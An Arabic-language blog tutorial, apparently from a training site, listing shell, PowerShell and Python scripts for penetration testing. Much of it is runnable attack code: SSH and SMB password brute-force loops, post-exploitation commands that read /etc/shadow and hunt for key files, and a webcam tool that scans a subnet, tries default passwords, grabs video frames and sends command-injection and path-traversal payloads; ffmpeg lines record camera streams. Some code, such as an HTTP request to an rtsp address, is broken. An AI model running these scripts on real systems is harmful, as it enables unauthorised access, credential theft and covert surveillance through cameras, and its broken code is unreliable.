0%
أوامر وسكربتات الشِل لاختبار الاختراق: دليل عملي

أوامر وسكربتات الشِل لاختبار الاختراق: دليل عملي

دليل شامل حول أوامر وسكربتات الشِل الأساسية لاختبار الاختراق. أدوات وتقنيات وأفضل الممارسات لتحليل الأمان.

I

InSkillCoach

· دقيقة

أوامر وسكربتات الشِل لاختبار الاختراق

اكتشف أوامر وسكربتات الشِل الأساسية لاختبار الاختراق وتحليل الأمان.

1. أوامر الاستطلاع

Nmap

# فحص المنافذ
nmap -sS -sV -p- 192.168.1.1

# فحص سريع
nmap -F 192.168.1.1

# فحص مع كشف نظام التشغيل
nmap -O 192.168.1.1

# فحص باستخدام سكربتات NSE
nmap -sC -sV 192.168.1.1

DNS

# استعلام DNS
dig @8.8.8.8 example.com

# نقل المنطقة (Zone Transfer)
dig axfr @ns1.example.com example.com

# تعداد DNS
dnsenum example.com

2. أوامر التحليل

Wireshark/Tcpdump

# التقاط الحزم
tcpdump -i eth0 -w capture.pcap

# التصفية حسب المنفذ
tcpdump port 80 or port 443

# تحليل HTTP
tcpdump -i eth0 -A 'tcp port 80'

تحليل الملفات

# تحليل السلاسل النصية (strings)
strings fichier.bin

# تحليل سداسي عشري
hexdump -C fichier.bin

# تحليل الترويسات
file fichier.bin

3. سكربتات الاستغلال

سكربت Bash

#!/bin/bash

# ماسح منافذ سريع
for port in {20..25} {80..85} {443..445}; do
    (echo >/dev/tcp/$1/$port) &>/dev/null && echo "Port $port ouvert"
done

# هجوم القوة الغاشمة على SSH
for pass in $(cat wordlist.txt); do
    sshpass -p "$pass" ssh -o StrictHostKeyChecking=no user@$1
done

# ماسح الثغرات
for ip in $(seq 1 254); do
    nmap -sS -sV 192.168.1.$ip &
done

سكربت PowerShell

# ماسح المنافذ
1..1024 | ForEach-Object {
    $port = $_
    $client = New-Object System.Net.Sockets.TcpClient
    try {
        $client.Connect("192.168.1.1", $port)
        Write-Host "Port $port ouvert"
    } catch {}
    $client.Close()
}

# هجوم القوة الغاشمة على SMB
$wordlist = Get-Content wordlist.txt
foreach ($pass in $wordlist) {
    $cred = New-Object System.Management.Automation.PSCredential("admin", (ConvertTo-SecureString $pass -AsPlainText -Force))
    try {
        New-PSDrive -Name "SMB" -PSProvider FileSystem -Root "\\192.168.1.1\share" -Credential $cred
        Write-Host "Mot de passe trouvé: $pass"
        break
    } catch {}
}

4. سكربتات ما بعد الاستغلال

سكربت Bash

#!/bin/bash

# جمع معلومات النظام
echo "=== Informations Système ==="
uname -a
cat /etc/issue
cat /etc/passwd
cat /etc/shadow

# البحث عن الملفات الحساسة
find / -type f -name "*.conf" -o -name "*.key" -o -name "*.pem" 2>/dev/null

# تعداد العمليات
ps aux | grep root

سكربت PowerShell

# جمع معلومات Windows
Get-WmiObject Win32_OperatingSystem | Select-Object *
Get-WmiObject Win32_UserAccount | Select-Object Name, SID
Get-WmiObject Win32_Service | Where-Object {$_.StartMode -eq "Auto"}

# البحث عن الملفات الحساسة
Get-ChildItem -Path C:\ -Recurse -Include *.conf,*.key,*.pem -ErrorAction SilentlyContinue

5. سكربتات إعداد التقارير

سكربت Bash

#!/bin/bash

# توليد التقرير
echo "=== Rapport de Pentest ===" > rapport.txt
echo "Date: $(date)" >> rapport.txt
echo "Cible: $1" >> rapport.txt
echo "" >> rapport.txt

# فحص Nmap
echo "=== Scan Nmap ===" >> rapport.txt
nmap -sS -sV $1 >> rapport.txt
echo "" >> rapport.txt

# الثغرات المكتشفة
echo "=== Vulnérabilités ===" >> rapport.txt
grep -r "vulnerability" /var/log/ >> rapport.txt

سكربت PowerShell

# توليد تقرير HTML
$html = @"
<html>
<head>
    <title>Rapport de Pentest</title>
    <style>
        body { font-family: Arial; }
        .vulnerability { color: red; }
        .info { color: blue; }
    </style>
</head>
<body>
    <h1>Rapport de Pentest</h1>
    <p>Date: $(Get-Date)</p>
    <p>Cible: $target</p>
"@

# إضافة النتائج
$html += "<h2>Vulnérabilités</h2>"
$vulns = Get-Content vulns.txt
foreach ($vuln in $vulns) {
    $html += "<p class='vulnerability'>$vuln</p>"
}

$html | Out-File rapport.html

أفضل الممارسات

  1. الأمان

    • التحقق من مدخلات المستخدم
    • معالجة الأخطاء
    • تقييد الصلاحيات
    • توثيق السكربتات
  2. الأداء

    • تحسين الحلقات
    • استخدام التوازي
    • إدارة الذاكرة
    • تقييد الموارد
  3. الصيانة

    • التعليق على الشيفرة
    • إصدار السكربتات بالتحكم بالنسخ
    • الاختبار بانتظام
    • تحديث الاعتماديات
  4. التوثيق

    • وصف الاستخدام
    • سرد المتطلبات المسبقة
    • توثيق المعاملات
    • تقديم أمثلة

الخلاصة

أوامر وسكربتات الشِل أدوات أساسية لاختبار الاختراق، لكن يجب استخدامها بطريقة أخلاقية ومسؤولة.

موارد إضافية

6. سكربتات متقدمة

سكربت Bash لتعداد Active Directory

#!/bin/bash

# تعداد AD باستخدام ldapsearch
ldapsearch -x -H ldap://192.168.1.1 -D "CN=Administrator,CN=Users,DC=domain,DC=com" -w password -b "DC=domain,DC=com" "(objectClass=user)"

# تعداد المجموعات
ldapsearch -x -H ldap://192.168.1.1 -D "CN=Administrator,CN=Users,DC=domain,DC=com" -w password -b "DC=domain,DC=com" "(objectClass=group)"

# تعداد الحواسيب
ldapsearch -x -H ldap://192.168.1.1 -D "CN=Administrator,CN=Users,DC=domain,DC=com" -w password -b "DC=domain,DC=com" "(objectClass=computer)"

سكربت PowerShell لتعداد Active Directory

# تعداد المستخدمين
Get-ADUser -Filter * -Properties * | Select-Object SamAccountName, Enabled, LastLogonDate

# تعداد المجموعات
Get-ADGroup -Filter * | Select-Object Name, GroupCategory

# تعداد الحواسيب
Get-ADComputer -Filter * -Properties * | Select-Object Name, OperatingSystem, LastLogonDate

# تعداد كائنات نهج المجموعة (GPO)
Get-GPO -All | Select-Object DisplayName, GPOStatus

سكربت Bash لتحليل البرمجيات الخبيثة

#!/bin/bash

# تحليل ساكن
echo "=== Analyse Statique ==="
strings $1
file $1
hexdump -C $1 | head -n 20

# تحليل الاعتماديات
echo "=== Dépendances ==="
ldd $1
readelf -d $1

# تحليل الأقسام
echo "=== Sections ==="
readelf -S $1
objdump -h $1

# البحث عن الأنماط الخبيثة
echo "=== Patterns Malveillants ==="
grep -r "CreateRemoteThread" $1
grep -r "VirtualAlloc" $1
grep -r "WriteProcessMemory" $1

سكربت PowerShell لتحليل البرمجيات الخبيثة على Windows

# تحليل العمليات المشبوهة
Get-Process | Where-Object {$_.CPU -gt 80} | Select-Object ProcessName, Id, CPU

# تحليل اتصالات الشبكة
netstat -ano | Select-String "ESTABLISHED"

# تحليل الملفات المعدّلة حديثًا
Get-ChildItem -Path C:\ -Recurse -File | Where-Object {$_.LastWriteTime -gt (Get-Date).AddHours(-24)} | Select-Object FullName, LastWriteTime

# تحليل الخدمات
Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object Name, DisplayName, Status

سكربت Bash لتحليل السجلات

#!/bin/bash

# تحليل سجلات المصادقة
echo "=== Tentatives de connexion échouées ==="
grep "Failed password" /var/log/auth.log | tail -n 20

# تحليل محاولات القوة الغاشمة
echo "=== Tentatives de bruteforce ==="
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr

# تحليل اتصالات SSH
echo "=== Connexions SSH ==="
grep "sshd" /var/log/auth.log | grep "Accepted" | tail -n 20

# تحليل محاولات رفع الصلاحيات
echo "=== Tentatives de privilèges ==="
grep "sudo" /var/log/auth.log | tail -n 20

سكربت PowerShell لتحليل سجلات Windows

# تحليل أحداث الأمان
Get-EventLog -LogName Security -EntryType FailureAudit | Select-Object TimeGenerated, EventID, Message

# تحليل محاولات تسجيل الدخول
Get-EventLog -LogName Security -EntryType FailureAudit | Where-Object {$_.EventID -eq 4625} | Select-Object TimeGenerated, Message

# تحليل تغييرات الصلاحيات
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4672} | Select-Object TimeGenerated, Message

# تحليل تغييرات ملفات النظام
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4663} | Select-Object TimeGenerated, Message

سكربت Bash لتحليل الشبكة

#!/bin/bash

# تحليل حركة مرور الشبكة
echo "=== Trafic réseau par protocole ==="
tcpdump -i eth0 -n | awk '{print $3}' | sort | uniq -c | sort -nr

# تحليل الاتصالات النشطة
echo "=== Connexions actives ==="
netstat -ant | awk '{print $6}' | sort | uniq -c | sort -nr

# تحليل المنافذ المفتوحة
echo "=== Ports ouverts ==="
netstat -tuln | awk '{print $4}' | cut -d: -f2 | sort | uniq

# تحليل DNS
echo "=== Requêtes DNS ==="
tcpdump -i eth0 -n udp port 53 | awk '{print $3}' | sort | uniq -c | sort -nr

سكربت PowerShell لتحليل الشبكة على Windows

# تحليل اتصالات الشبكة
Get-NetTCPConnection | Where-Object State -eq "Established" | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort

# تحليل جلسات SMB
Get-SmbSession | Select-Object ClientComputerName, ClientUserName, Dialect

# تحليل مشاركات الشبكة
Get-SmbShare | Select-Object Name, Path, Description

# تحليل اتصالات RDP
Get-NetTCPConnection | Where-Object LocalPort -eq 3389 | Select-Object LocalAddress, RemoteAddress, State

7. سكربتات لتحليل كاميرات الويب

سكربت Bash لاكتشاف كاميرات الويب

#!/bin/bash

# اكتشاف كاميرات الويب على الشبكة المحلية
echo "=== Détection des Webcams ==="
for ip in $(seq 1 254); do
    # اختبار المنافذ الشائعة لكاميرات الويب
    for port in 80 443 554 8554 8000 8080; do
        (echo >/dev/tcp/192.168.1.$ip/$port) &>/dev/null && echo "Webcam potentielle trouvée sur 192.168.1.$ip:$port"
    done
done

# البحث عن خدمات RTSP
echo "=== Services RTSP ==="
nmap -p 554,8554 --script rtsp-url-brute 192.168.1.0/24

# اختبار بيانات الاعتماد الافتراضية
echo "=== Test des Authentifications ==="
for ip in $(cat webcams.txt); do
    curl -s "http://$ip/cgi-bin/viewer/video.jpg" -o /dev/null && echo "Webcam accessible sans authentification: $ip"
done

سكربت Python لتحليل كاميرات الويب

#!/usr/bin/env python3
import requests
import cv2
import numpy as np
from concurrent.futures import ThreadPoolExecutor

class WebcamAnalyzer:
    def __init__(self):
        self.common_ports = [80, 443, 554, 8554, 8000, 8080]
        self.default_credentials = [
            ('admin', 'admin'),
            ('admin', 'password'),
            ('root', 'root'),
            ('admin', ''),
            ('', 'admin')
        ]

    def scan_network(self, subnet):
        """فحص الشبكة للعثور على كاميرات الويب"""
        with ThreadPoolExecutor(max_workers=100) as executor:
            futures = []
            for ip in range(1, 255):
                for port in self.common_ports:
                    futures.append(executor.submit(self.check_webcam, f"{subnet}.{ip}", port))
            
            for future in futures:
                result = future.result()
                if result:
                    print(f"Webcam trouvée: {result}")

    def check_webcam(self, ip, port):
        """التحقق مما إذا كانت كاميرا الويب قابلة للوصول"""
        try:
            # اختبار RTSP
            if port in [554, 8554]:
                response = requests.get(f"rtsp://{ip}:{port}", timeout=1)
                if response.status_code == 200:
                    return f"{ip}:{port} (RTSP)"
            
            # اختبار HTTP/HTTPS
            for protocol in ['http', 'https']:
                url = f"{protocol}://{ip}:{port}"
                try:
                    response = requests.get(url, timeout=1)
                    if response.status_code == 200:
                        return f"{ip}:{port} ({protocol})"
                except:
                    continue
        except:
            pass
        return None

    def test_authentication(self, ip, port):
        """اختبار بيانات الاعتماد الافتراضية"""
        for username, password in self.default_credentials:
            try:
                response = requests.get(
                    f"http://{ip}:{port}/cgi-bin/viewer/video.jpg",
                    auth=(username, password),
                    timeout=1
                )
                if response.status_code == 200:
                    return f"Credentials valides: {username}:{password}"
            except:
                continue
        return None

    def capture_stream(self, ip, port, protocol='rtsp'):
        """التقاط بث الفيديو من كاميرا الويب"""
        if protocol == 'rtsp':
            url = f"rtsp://{ip}:{port}/stream1"
        else:
            url = f"http://{ip}:{port}/video"
        
        cap = cv2.VideoCapture(url)
        if not cap.isOpened():
            return False
        
        ret, frame = cap.read()
        if ret:
            cv2.imwrite(f"webcam_{ip}.jpg", frame)
            return True
        return False

    def analyze_vulnerabilities(self, ip, port):
        """تحليل الثغرات الشائعة"""
        vulnerabilities = []
        
        # اختبار أوامر الشِل
        cmd_injection_payloads = [
            ';ls',
            '`ls`',
            '$(ls)',
            '|ls'
        ]
        
        for payload in cmd_injection_payloads:
            try:
                response = requests.get(
                    f"http://{ip}:{port}/cgi-bin/command.cgi?cmd={payload}",
                    timeout=1
                )
                if "bin" in response.text or "etc" in response.text:
                    vulnerabilities.append(f"Command Injection possible: {payload}")
            except:
                continue
        
        # اختبار اجتياز المسارات
        path_traversal_payloads = [
            '../../../etc/passwd',
            '..\\..\\..\\windows\\system32\\config\\sam',
            '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
        ]
        
        for payload in path_traversal_payloads:
            try:
                response = requests.get(
                    f"http://{ip}:{port}/cgi-bin/download.cgi?file={payload}",
                    timeout=1
                )
                if "root:" in response.text or "[fonts]" in response.text:
                    vulnerabilities.append(f"Path Traversal possible: {payload}")
            except:
                continue
        
        return vulnerabilities

# مثال على الاستخدام
if __name__ == "__main__":
    analyzer = WebcamAnalyzer()
    
    # فحص الشبكة
    print("Scanning du réseau...")
    analyzer.scan_network("192.168.1")
    
    # اختبار المصادقة
    print("\nTest des authentifications...")
    result = analyzer.test_authentication("192.168.1.100", 80)
    if result:
        print(result)
    
    # التقاط البث
    print("\nTentative de capture...")
    if analyzer.capture_stream("192.168.1.100", 554):
        print("Capture réussie")
    
    # تحليل الثغرات
    print("\nAnalyse des vulnérabilités...")
    vulns = analyzer.analyze_vulnerabilities("192.168.1.100", 80)
    for vuln in vulns:
        print(vuln)

سكربت PowerShell لتحليل كاميرات الويب على Windows

# اكتشاف كاميرات الويب المتصلة
Get-WmiObject Win32_PnPEntity | Where-Object {$_.PNPClass -eq "Camera"} | Select-Object Name, DeviceID

# تحليل العمليات المرتبطة بكاميرات الويب
Get-Process | Where-Object {$_.ProcessName -like "*camera*" -or $_.ProcessName -like "*webcam*"} | Select-Object ProcessName, Id, Path

# تحليل اتصالات الشبكة لكاميرات الويب
Get-NetTCPConnection | Where-Object {$_.LocalPort -in 80,443,554,8554,8000,8080} | Select-Object LocalAddress, LocalPort, RemoteAddress, State

# اختبار خدمات الويب لكاميرات الويب
$webcams = Get-Content webcams.txt
foreach ($webcam in $webcams) {
    try {
        $response = Invoke-WebRequest -Uri "http://$webcam" -TimeoutSec 1
        if ($response.StatusCode -eq 200) {
            Write-Host "Webcam accessible: $webcam"
        }
    } catch {}
}

سكربت Bash لتحليل تدفقات الفيديو

#!/bin/bash

# التقاط تدفق RTSP
ffmpeg -i rtsp://192.168.1.100:554/stream1 -c copy -t 60 capture.mp4

# تحليل البيانات الوصفية
ffprobe -v quiet -print_format json -show_format -show_streams rtsp://192.168.1.100:554/stream1

# كشف الحركة
ffmpeg -i rtsp://192.168.1.100:554/stream1 -vf "select=gt(scene\\,0.3)" -vsync vfr frame_%d.jpg

# استخراج الصور
ffmpeg -i rtsp://192.168.1.100:554/stream1 -vf fps=1 image_%d.jpg
InSkillCoach

نبذة عن InSkillCoach

خبير في التدريب والتقنيات

مدرّب متخصص في التقنيات المتقدمة والذكاء الاصطناعي، تدعمه شركة GNeurone Inc.

الشهادات:

  • AWS Certified Solutions Architect – Professional
  • شهادات Google Cloud
  • Microsoft Certified: DevOps Engineer Expert
  • Certified Kubernetes Administrator (CKA)
  • CompTIA Security+
2.0k
136

التعليقات

التعليقات مدعومة عبر GitHub Discussions

سجّل الدخول باستخدام GitHub للمشاركة في النقاش

تم نسخ الرابط!